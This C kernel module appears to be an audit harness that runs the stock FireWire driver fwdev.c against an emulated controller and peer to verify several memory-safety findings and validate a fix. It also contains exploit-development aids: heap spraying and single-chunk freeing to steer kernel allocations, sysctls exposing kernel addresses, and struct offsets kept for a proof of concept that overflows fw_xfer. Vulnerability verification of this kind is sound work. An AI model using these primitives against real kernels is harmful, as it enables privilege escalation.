/*
 * fwharness.c -- verification harness for DF-2293 / DF-2294 / DF-2295 / DF-2296
 * Audit target: sys/bus/firewire/fwdev.c (stock fwdev.o already linked into
 * X86_64_GENERIC by `device firewire`).
 *
 * VERBATIM-INTERPOSITION DESIGN (same scaffolding as the CAM rigs):
 *   - fwdev.o, firewire.o, fwdma.o from the STOCK kernel run verbatim.
 *     fw_ioctl / fw_read / fwdev_allocbuf / fwdma_malloc_multiseg /
 *     fw_asyreq / fw_bindadd are the unmodified stock binaries.
 *   - This file fabricates only the fwohci/peer-side externalities that real
 *     OHCI hardware would provide:
 *       1. a struct firewire_comm with interposed method pointers
 *          (pass-through stubs for irx_enable/itx_enable/... and a capture
 *          stub for the AT-transmit start),
 *       2. the fwohci tcode table -- verbatim copy of the static tinfo[]
 *          from sys/bus/firewire/fwohci.c:85 (fc->tcode = tinfo, fwohci.c:661),
 *       3. a firewire_softc injected as unit 0 into the real
 *          firewire_devclass so the stock
 *          devclass_get_softc(firewire_devclass, 0) in fwdev.c works,
 *       4. /dev/fw0.0 created against the real firewire_ops (fwdev.c:75)
 *          with the stock clone permissions UID_ROOT/GID_OPERATOR/0660
 *          (same as fwdev.c:854-856).
 *   - /dev/fwhctl0 (root-only, 0600) emulates the FireWire peer / OHCI
 *     hardware side: inject a received iso packet with attacker-chosen
 *     stream.len into the real DMA ring, spray the kmalloc mixed-size zone
 *     with canaries, set fc->maxrec, dump the "wire" capture buffer, and
 *     check canary corruption.
 *
 * No line of fwdev.c / fwdma.c / firewire.c is modified in the baseline
 * build.  For fix validation the SAME harness kernel is rebuilt with only
 * fix.diff applied to fwdev.c.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/conf.h>
#include <sys/device.h>		/* struct dev_ops, make_dev, D_MEM */
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct devclass / struct bsd_device */
#include <sys/callout.h>
#include <sys/sysctl.h>
#include <sys/queue.h>
#include <sys/thread2.h>
#include <sys/uio.h>

#include <bus/firewire/firewire.h>
#include <bus/firewire/firewirereg.h>
#include <bus/firewire/fwdma.h>
#include "fwharness.h"

extern struct dev_ops firewire_ops;	/* fwdev.c:75, stock kernel symbol */

MALLOC_DEFINE(M_FWH, "fwharness", "fwdev.c verification harness");

#define FWH_NISO	4

/*
 * Verbatim copy of the static tcode table from sys/bus/firewire/fwohci.c:85
 * (assigned to fc->tcode in fwohci_attach, fwohci.c:661).
 */
static struct tcode_info fwh_tinfo[] = {
/*		hdr_len block 	flag*/
/* 0 WREQQ  */ {16,	FWTI_REQ | FWTI_TLABEL},
/* 1 WREQB  */ {16,	FWTI_REQ | FWTI_TLABEL | FWTI_BLOCK_ASY},
/* 2 WRES   */ {12,	FWTI_RES},
/* 3 XXX    */ { 0,	0},
/* 4 RREQQ  */ {12,	FWTI_REQ | FWTI_TLABEL},
/* 5 RREQB  */ {16,	FWTI_REQ | FWTI_TLABEL},
/* 6 RRESQ  */ {16,	FWTI_RES},
/* 7 RRESB  */ {16,	FWTI_RES | FWTI_BLOCK_ASY},
/* 8 CYCS   */ { 0,	0},
/* 9 LREQ   */ {16,	FWTI_REQ | FWTI_TLABEL | FWTI_BLOCK_ASY},
/* a STREAM */ { 4,	FWTI_REQ | FWTI_BLOCK_STR},
/* b LRES   */ {16,	FWTI_RES | FWTI_BLOCK_ASY},
/* c XXX    */ { 0,	0},
/* d XXX    */ { 0, 	0},
/* e PHY    */ {12,	FWTI_REQ},
/* f XXX    */ { 0,	0}
};

static struct firewire_comm fwh_fc;		/* fabricated controller comm */
static struct firewire_softc fwh_sc;		/* fabricated softc */
static struct bsd_device fwh_dev;		/* fabricated device_t shell */
static struct fw_xferq *fwh_ir[FWH_NISO];	/* iso rx xferqs */
static struct fw_xferq *fwh_it[FWH_NISO];	/* iso tx xferqs */
static struct fw_xferq *fwh_atq;		/* async tx request queue */

/* peer-response emulation (what a malicious peer would put in a response) */
static u_int fwh_resp_paylen;			/* recv.pay_len to emulate */
static u_int fwh_resp_fill = 0xC2;

/* "wire" capture: what the OHCI TX start would have DMA'd out */
#define FWH_TXCAP_MAX	(256 * 1024)
static u_char fwh_txcap[FWH_TXCAP_MAX];
static size_t fwh_txcap_len;
static u_int fwh_txcount;

static struct callout fwh_cc;
static struct fw_xfer *fwh_pending;

/* canary spray of the kmalloc slab zone size-classes */
#define FWH_SPRAY_MAX 512
struct fwh_spraychunk {
	void	*ptr;
	u_int	size;
	u_int	idx;
};
static struct fwh_spraychunk fwh_spray[FWH_SPRAY_MAX];
static u_int fwh_spray_n;

SYSCTL_UINT(_hw, OID_AUTO, fwh_maxrec, CTLFLAG_RW, &fwh_fc.maxrec, 0,
    "fabricated fc->maxrec (S400=10 -> MAXREC 2048, S800=11 -> 4096)");
SYSCTL_UINT(_hw, OID_AUTO, fwh_txcount, CTLFLAG_RD, &fwh_txcount, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_txlen, CTLFLAG_RD, (u_int *)&fwh_txcap_len, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_spray_n, CTLFLAG_RD, &fwh_spray_n, 0, "");
static u_long fwh_mfwxfer_addr = (u_long)&M_FWXFER;
SYSCTL_ULONG(_hw, OID_AUTO, fwh_mfwxfer, CTLFLAG_RD, &fwh_mfwxfer_addr, 0,
    "kernel address of M_FWXFER malloc_type (no KASLR on this guest)");
static u_long fwh_spray_last_addr;
SYSCTL_ULONG(_hw, OID_AUTO, fwh_spray_last, CTLFLAG_RD, &fwh_spray_last_addr,
    0, "kernel address of the most recently sprayed canary chunk");

/* exact fw_xfer layout (consumed by poc_2296 to keep the smashed tail valid) */
#include <sys/stdint.h>
static u_int fwh_off_sp = offsetof(struct fw_xfer, send.payload);
static u_int fwh_off_rh = offsetof(struct fw_xfer, recv.hdr);
static u_int fwh_off_rp = offsetof(struct fw_xfer, recv.payload);
static u_int fwh_off_rl = offsetof(struct fw_xfer, recv.pay_len);
static u_int fwh_off_mb = offsetof(struct fw_xfer, mbuf);
static u_int fwh_off_ml = offsetof(struct fw_xfer, malloc);
static u_int fwh_sz_xf = sizeof(struct fw_xfer);
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_sendpayload, CTLFLAG_RD, &fwh_off_sp, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_recvhdr, CTLFLAG_RD, &fwh_off_rh, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_recvpayload, CTLFLAG_RD, &fwh_off_rp, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_recvpaylen, CTLFLAG_RD, &fwh_off_rl, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_mbuf, CTLFLAG_RD, &fwh_off_mb, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_malloc, CTLFLAG_RD, &fwh_off_ml, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_sz_xfer, CTLFLAG_RD, &fwh_sz_xf, 0, "");

/* ------------------------------------------------------------------ */
/* interposed OHCI methods (pass-through stubs)                        */
/* ------------------------------------------------------------------ */
static int
fwh_irx_enable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: irx_enable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static int
fwh_irx_disable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: irx_disable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static int
fwh_itx_enable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: itx_enable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static int
fwh_itx_disable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: itx_disable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static void
fwh_ibr(struct firewire_comm *fc)
{
	kprintf("fwh: ibr() [interposed stub]\n");
}

static int
fwh_busioctl(struct dev_ioctl_args *ap)
{
	kprintf("fwh: fc->ioctl(default) reached [interposed stub]\n");
	return (EINVAL);
}

/* ------------------------------------------------------------------ */
/* interposed OHCI AT-transmit start: capture what the wire would carry */
/* ------------------------------------------------------------------ */
static void
fwh_complete(void *arg)
{
	struct fw_xfer *xfer = fwh_pending;

	if (xfer == NULL)
		return;
	fwh_pending = NULL;

	/*
	 * Emulate a peer response.  fwh_resp_paylen models a malicious peer
	 * returning a large block response; recv.payload is a real
	 * fw_xfer_alloc_buf(M_FWXFER, pay_len, PAGE_SIZE) buffer.
	 */
	if (fwh_resp_paylen > 0 && xfer->recv.payload != NULL) {
		xfer->recv.pay_len = (u_int16_t)fwh_resp_paylen;
		memset(xfer->recv.payload, fwh_resp_fill,
		    fwh_resp_paylen);	/* bounded: fills only the emulated
					   response payload */
	}
	xfer->resp = 0;
	fw_xfer_done(xfer);	/* -> fw_asy_callback -> wakeup(xfer) */
}

static void
fwh_atx_start(struct firewire_comm *fc)
{
	struct fw_xfer *xfer;

	/*
	 * Interposition of the fwohci AT-start: on real hardware this DMA's
	 * send.hdr + send.payload out onto the bus.  We snapshot the payload
	 * (what the wire would carry) and schedule the peer response.
	 */
	xfer = STAILQ_FIRST(&fwh_atq->q);
	if (xfer == NULL)
		return;
	if (fwh_pending != NULL)
		return;			/* one in flight is enough for the rig */

	if (xfer->send.payload != NULL && xfer->send.pay_len > 0) {
		size_t n = xfer->send.pay_len;

		if (n > FWH_TXCAP_MAX)
			n = FWH_TXCAP_MAX;
		bcopy(xfer->send.payload, fwh_txcap, n);
		fwh_txcap_len = n;
	}
	fwh_txcount++;
	kprintf("fwh: AT-START: 'wire' payload snapshot %d bytes "
	    "(wire count=%d)\n", xfer->send.pay_len, fwh_txcount);

	fwh_pending = xfer;
	callout_reset(&fwh_cc, 3, fwh_complete, NULL);
}

/* ------------------------------------------------------------------ */
/* peer emulation: inject a received iso packet into the real DMA ring */
/* ------------------------------------------------------------------ */
static void
fwh_fill_canary(void *p, size_t size, u_int tag)
{
	u_int32_t *w = p;
	size_t i;

	for (i = 0; i + 4 <= size / 4; i += 4) {
		w[i + 0] = 0xF00DF00D;
		w[i + 1] = tag;
		w[i + 2] = (u_int32_t)(i * 4);	/* byte offset in slot */
		w[i + 3] = 0xDEADC0DE ^ tag;
	}
}

static int
fwh_inject(u_int plen)
{
	struct fw_xferq *q = fwh_ir[0];
	u_int nslot, i;
	u_int32_t hdr, *p;

	if (q == NULL || q->buf == NULL || q->bulkxfer == NULL ||
	    q->psize == 0)
		return (ENXIO);

	nslot = q->bnchunk * q->bnpacket;
	for (i = 0; i < nslot; i++) {
		p = fwdma_v_addr(q->buf, i);
		fwh_fill_canary(p, q->psize, 0x50000000u | i);
	}

	/*
	 * Received stream packet header at slot 0, exactly as OHCI DMA
	 * would write it: bits 31..16 = len, 15..8 = chtag, 7..4 = tcode
	 * (0xa STREAM), 3..0 = sy.  The peer controls len.
	 */
	hdr = ((plen & 0xffff) << 16) | ((1u & 0xff) << 8) |
	    (FWTCODE_STREAM << 4) | 0;
	p = fwdma_v_addr(q->buf, 0);
	p[0] = hdr;

	/* OHCI DMA finished chunk 0: mark it valid and wake fw_read */
	if (STAILQ_EMPTY(&q->stvalid)) {
		STAILQ_INSERT_TAIL(&q->stvalid, &q->bulkxfer[0], link);
		wakeup(q);
	}
	kprintf("fwh: INJECT stream.len=%u into %u-slot ring (psize=%u)\n",
	    plen, nslot, q->psize);
	return (0);
}

/* ------------------------------------------------------------------ */
/* canary spray of the kmalloc mixed-size zone                          */
/* ------------------------------------------------------------------ */
static int
fwh_spray_do(u_int n, u_int size)
{
	u_int i, base = fwh_spray_n;
	void *p;
	u_int tag;

	if (base + n > FWH_SPRAY_MAX)
		n = FWH_SPRAY_MAX - base;
	for (i = 0; i < n; i++) {
		tag = 0xA0000000u | (size << 16) | (base + i);
		p = kmalloc(size, M_FWH, M_WAITOK | M_ZERO);
		if (p == NULL)
			break;
		fwh_fill_canary(p, size, tag);
		fwh_spray[base + i].ptr = p;
		fwh_spray[base + i].size = size;
		fwh_spray[base + i].idx = base + i;
		fwh_spray_last_addr = (u_long)p;
	}
	fwh_spray_n = base + i;
	kprintf("fwh: SPRAY +%u x %u bytes (idx %u..%u, slab size-class "
	    "zone, canary tagged)\n", i, size, base, fwh_spray_n - 1);
	return (0);
}

static void
fwh_spray_undo(void)
{
	u_int i;

	for (i = 0; i < fwh_spray_n; i++) {
		if (fwh_spray[i].ptr != NULL)
			kfree(fwh_spray[i].ptr, M_FWH);
	}
	fwh_spray_n = 0;
}

static int
fwh_spray_chk(u_int *corrupt_out, u_int *bytes_out)
{
	u_int32_t *w;
	u_int i, corrupt = 0, badbytes = 0, j, nw, tag;

	for (i = 0; i < fwh_spray_n; i++) {
		if (fwh_spray[i].ptr == NULL)
			continue;
		w = fwh_spray[i].ptr;
		nw = fwh_spray[i].size / 4;
		tag = 0xA0000000u | (fwh_spray[i].size << 16) | i;
		for (j = 0; j + 3 < nw; j += 4) {
			if (w[j] != 0xF00DF00D ||
			    w[j + 1] != tag ||
			    w[j + 2] != (j * 4) ||
			    w[j + 3] != (0xDEADC0DE ^ tag)) {
				corrupt = 1;
				if (bytes_out)
					badbytes += 4;
			}
		}
		if (corrupt && i < 8)
			kprintf("fwh: SPRAYCHK chunk %u (%u bytes) CANARY "
			    "CORRUPT (w0=%08x w1=%08x w2=%08x w3=%08x)\n",
			    i, fwh_spray[i].size, w[0], w[1], w[2], w[3]);
	}
	kprintf("fwh: SPRAYCHK done: corrupt=%u\n", corrupt);
	*corrupt_out = corrupt;
	if (bytes_out)
		*bytes_out = badbytes;
	return (0);
}

#define FWH_SPRAYDUMP_HDR 160
static int
fwh_spray_dump(struct fwh_dumpreq *dr)
{
	u_int i, k, n, start;

	if (dr->start >= fwh_spray_n) {
		dr->n = 0;
		return (0);
	}
	start = dr->start;
	if (dr->n > fwh_spray_n - start)
		dr->n = fwh_spray_n - start;
	n = dr->n;
	for (i = 0, k = 0; i < n && k < FWH_DUMP_CHUNKS; ) {
		if (fwh_spray[start + i].ptr == NULL) {
			i++;
			continue;
		}
		dr->chunk[k].idx = fwh_spray[start + i].idx;
		dr->chunk[k].size = fwh_spray[start + i].size;
		memcpy(dr->chunk[k].data, fwh_spray[start + i].ptr,
		    FWH_SPRAYDUMP_HDR);
		i++;
		k++;
	}
	dr->n = k;
	kprintf("fwh: SPRAYDUMP %u chunks from %u\n", k, start);
	return (0);
}

/* pop the last sprayed chunk from the list WITHOUT freeing it (the
 * kernel will free it itself, e.g. kfree(xfer->recv.payload)) */
static int
fwh_spray_pop(void)
{
	int i;

	for (i = (int)fwh_spray_n - 1; i >= 0; i--) {
		if (fwh_spray[i].ptr != NULL) {
			fwh_spray_last_addr = (u_long)fwh_spray[i].ptr;
			kprintf("fwh: SPRAYPOP chunk %u (%u bytes) ptr=%p "
			    "(removed from list, kernel will free it)\n",
			    (u_int)i, fwh_spray[i].size, fwh_spray[i].ptr);
			fwh_spray[i].ptr = NULL;
			return (0);
		}
	}
	return (EINVAL);
}

/* free a single sprayed chunk (LIFO placement primitive: the next
 * same-class kmalloc -- e.g. the fw_xfer in FW_ASYREQ -- lands here) */
static int
fwh_spray_free1(u_int idx)
{
	if (idx >= fwh_spray_n || fwh_spray[idx].ptr == NULL)
		return (EINVAL);
	kfree(fwh_spray[idx].ptr, M_FWH);
	fwh_spray[idx].ptr = NULL;
	kprintf("fwh: SPRAYFREE chunk %u (%u bytes) freed\n",
	    idx, fwh_spray[idx].size);
	return (0);
}

/* ------------------------------------------------------------------ */
/* /dev/fwhctl0 control device (root-only peer/hardware emulation)     */
/* ------------------------------------------------------------------ */
static int
fwhctl_ioctl(struct dev_ioctl_args *ap)
{
	int err = 0;
	u_int32_t v;
	struct fwh_sprayreq sr;
	struct fwh_respreq rr;
	struct fwh_chkreq cr;

	switch (ap->a_cmd) {
	case FWHIOC_MAXREC:
		bcopy(ap->a_data, &v, sizeof(v));
		fwh_fc.maxrec = v;
		kprintf("fwh: fc->maxrec = %u (MAXREC=%u bytes)\n",
		    v, 2u << v);
		break;
	case FWHIOC_INJECT:
		bcopy(ap->a_data, &v, sizeof(v));
		err = fwh_inject(v);
		break;
	case FWHIOC_SPRAY:
		bcopy(ap->a_data, &sr, sizeof(sr));
		err = fwh_spray_do(sr.n, sr.size);
		break;
	case FWHIOC_UNSPRAY:
		fwh_spray_undo();
		break;
	case FWHIOC_RESP:
		bcopy(ap->a_data, &rr, sizeof(rr));
		fwh_resp_paylen = rr.paylen;
		fwh_resp_fill = rr.fill;
		kprintf("fwh: peer response emulation paylen=%u fill=%02x\n",
		    rr.paylen, rr.fill);
		break;
	case FWHIOC_SPRAYCHK:
		err = fwh_spray_chk(&cr.corrupt, &cr.badwords);
		bcopy(&cr, ap->a_data, sizeof(cr));
		break;
	case FWHIOC_SPRAYDUMP:
		err = fwh_spray_dump((struct fwh_dumpreq *)ap->a_data);
		break;
	case FWHIOC_SPRAYFREE:
		bcopy(ap->a_data, &v, sizeof(v));
		err = fwh_spray_free1(v);
		break;
	case FWHIOC_SPRAYPOP:
		err = fwh_spray_pop();
		break;
	default:
		err = ENOTTY;
	}
	return (err);
}

static int
fwhctl_open(struct dev_open_args *ap)
{
	return (0);
}

static int
fwhctl_read(struct dev_read_args *ap)
{
	struct uio *uio = ap->a_uio;
	size_t n;

	if (fwh_txcap_len == 0)
		return (EIO);
	n = uio->uio_resid;
	if (n > fwh_txcap_len)
		n = fwh_txcap_len;
	return (uiomove(fwh_txcap, n, uio));
}

static struct dev_ops fwhctl_ops = {
	{ "fwhctl", 0, D_MEM },
	.d_open =	fwhctl_open,
	.d_ioctl =	fwhctl_ioctl,
	.d_read =	fwhctl_read,
};

/* ------------------------------------------------------------------ */
/* boot: fabricate fc / softc, inject into the real devclass, make devs */
/* ------------------------------------------------------------------ */
static void
fwh_init(void *arg)
{
	struct fw_xferq *q;
	int i;

	memset(&fwh_fc, 0, sizeof(fwh_fc));

	fwh_fc.nisodma = FWH_NISO;
	fwh_fc.maxrec = 10;			/* fwohci.c:521, speed S400 */
	fwh_fc.max_asyretry = 4;		/* FW_MAXASYRTY, firewire.c:73 */
	fwh_fc.eui.hi = 0x00112233;
	fwh_fc.eui.lo = 0x44556677;
	fwh_fc.tcode = fwh_tinfo;		/* verbatim fwohci.c:85 table */
	fwh_fc.status = FWBUSCOMPLETION;
	fwh_fc.ibr = fwh_ibr;
	fwh_fc.ioctl = fwh_busioctl;
	fwh_fc.irx_enable = fwh_irx_enable;
	fwh_fc.irx_disable = fwh_irx_disable;
	fwh_fc.itx_enable = fwh_itx_enable;
	fwh_fc.itx_disable = fwh_itx_disable;
	fwh_fc.irx_post = NULL;
	fwh_fc.itx_post = NULL;

	STAILQ_INIT(&fwh_fc.binds);
	STAILQ_INIT(&fwh_fc.devices);
	for (i = 0; i < 0x40; i++)
		STAILQ_INIT(&fwh_fc.tlabels[i]);

	for (i = 0; i < FWH_NISO; i++) {
		q = kmalloc(sizeof(*q), M_FWH, M_INTWAIT | M_ZERO);
		q->dmach = i;
		q->maxq = FWMAXQUEUE;
		STAILQ_INIT(&q->q);
		STAILQ_INIT(&q->binds);
		STAILQ_INIT(&q->stvalid);
		STAILQ_INIT(&q->stfree);
		STAILQ_INIT(&q->stdma);
		fwh_ir[i] = fwh_fc.ir[i] = q;

		q = kmalloc(sizeof(*q), M_FWH, M_INTWAIT | M_ZERO);
		q->dmach = i;
		q->maxq = FWMAXQUEUE;
		STAILQ_INIT(&q->q);
		STAILQ_INIT(&q->binds);
		STAILQ_INIT(&q->stvalid);
		STAILQ_INIT(&q->stfree);
		STAILQ_INIT(&q->stdma);
		fwh_it[i] = fwh_fc.it[i] = q;
	}

	fwh_atq = kmalloc(sizeof(*fwh_atq), M_FWH, M_INTWAIT | M_ZERO);
	fwh_atq->maxq = FWMAXQUEUE;
	fwh_atq->start = fwh_atx_start;		/* the interposed TX start */
	STAILQ_INIT(&fwh_atq->q);
	fwh_fc.atq = fwh_atq;

	/* the real bus_dma parent tag (fwohci uses bus_get_dma_tag) */
	if (bus_dma_tag_create(/*parent*/ NULL, /*alignment*/ 1,
	    /*boundary*/ 0, /*lowaddr*/ BUS_SPACE_MAXADDR_32BIT,
	    /*highaddr*/ BUS_SPACE_MAXADDR, /*maxsize*/ BUS_SPACE_MAXSIZE,
	    /*nsegments*/ BUS_SPACE_UNRESTRICTED,
	    /*maxsegsz*/ BUS_SPACE_MAXSIZE_32BIT,
	    /*flags*/ 0, &fwh_fc.dmat) != 0)
		kprintf("fwh: WARNING bus_dma_tag_create failed\n");

	/* fabricate softc as unit 0 of the real firewire devclass */
	if (firewire_devclass == NULL)
		firewire_devclass = devclass_create("firewire");
	if (firewire_devclass->devices == NULL) {
		firewire_devclass->devices = kmalloc(
		    sizeof(device_t) * 4, M_FWH, M_INTWAIT | M_ZERO);
		firewire_devclass->maxunit = 4;
	}
	fwh_sc.fc = &fwh_fc;
	fwh_dev.softc = &fwh_sc;
	firewire_devclass->devices[0] = &fwh_dev;

	callout_init(&fwh_cc);

	/* the audited device nodes: real firewire_ops, stock clone perms
	 * (fwdev_clone creates independent /dev/fw0.S minors, fwdev.c:822) */
	make_dev(&firewire_ops, MAKEMINOR(0, 0, 0),
	    UID_ROOT, GID_OPERATOR, 0660, "fw0.0");
	make_dev(&firewire_ops, MAKEMINOR(0, 0, 1),
	    UID_ROOT, GID_OPERATOR, 0660, "fw0.1");

	/* root-only peer/hardware emulation control */
	make_dev(&fwhctl_ops, 0, UID_ROOT, GID_WHEEL, 0600, "fwhctl0");

	kprintf("FWHARNESS-READY: fwdev.o verbatim, fc=%p nisodma=%d "
	    "maxrec=%u /dev/fw0.0 (0660 root:operator) + /dev/fwhctl0\n",
	    &fwh_fc, fwh_fc.nisodma, fwh_fc.maxrec);
}
SYSINIT(fwharness, SI_SUB_PSEUDO, SI_ORDER_MIDDLE, fwh_init, NULL);